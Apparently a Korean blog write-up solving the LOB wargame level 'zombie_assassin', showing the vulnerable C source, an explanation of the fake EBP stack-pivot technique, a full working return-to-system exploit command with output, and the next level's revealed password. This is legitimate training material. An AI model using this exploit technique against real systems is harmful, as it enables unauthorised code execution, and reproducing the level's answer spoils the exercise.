반응형

장시간의 삽질의 끝에 드디어 풀엇습니다 

분명 페이로드 구성은 제대로 햇는데 자꾸 illegal instruction이 떠가지고 엄청 고생햇네요 ㅠㅠ  

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48); 

printf("%s\n", buffer);

}

버퍼도 못쓰고 라이브러리도 못씁니다 

흰트에는  FEBP라고 써져있엇고, 찾아보니 fake ebp 라는 기법이네요 

fake ebp 란, leave(mov esp,ebp  | pop ebp)를 ret 에 덮어씌우는 기법입니다.

그림으로 설명하고 싶지만 생략하고, 에필로그의 leave가 수행되면 esp에 ebp가 넣어지고 스택에서 ebp가 뽑히게됩니다 

그다음 ret가 실행될때 pop eip 되니까 여기선 leave 주소를 넣어놧기 때문에 다시 leave로 돌아오게 되죠

그다음 leave (우리가 ret에 넣은)의 mov esp, ebp  | pop ebp를 수행하면서  명령어 leave 수행시 buf +4값이 esp로 옮겨지게 됩니다. 


 

[payload]

 AAAA | &system | BBBB| &/bin/sh |  \x90[24] | &buf | &leave


+)&buf 주소때매 개고생했는데 최종적으로 알아낸 방법은 소스를 추가하여 알아냄

+)&system, &/bin/sh, &leave 는 쉽게 구할수 있으므로생략 


[공격]

[assassin@localhost assassin]$ ./zombie_assassin "`perl -e 'print "AAAA","\xe0\x8a\x05\x40","BBBB","\xf9\xbf\x0f\x40","\x90"x24,"\x02\xfc\xff\xbf","\xdf\x84\x04\x08"'`"

AAAA?@BBBB廈@?????????????????????????욀?

bash$ my-pass

euid = 516

no place to hide

bash$ 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level18.succubus  (0) 2014.08.25
(LOB)level17.zombie_assassin  (0) 2014.08.25
(LOB)level15.giant  (0) 2014.08.22
(LOB)level14.bugbear  (0) 2014.08.20
(LOB)level13.darkknight  (0) 2014.08.19
,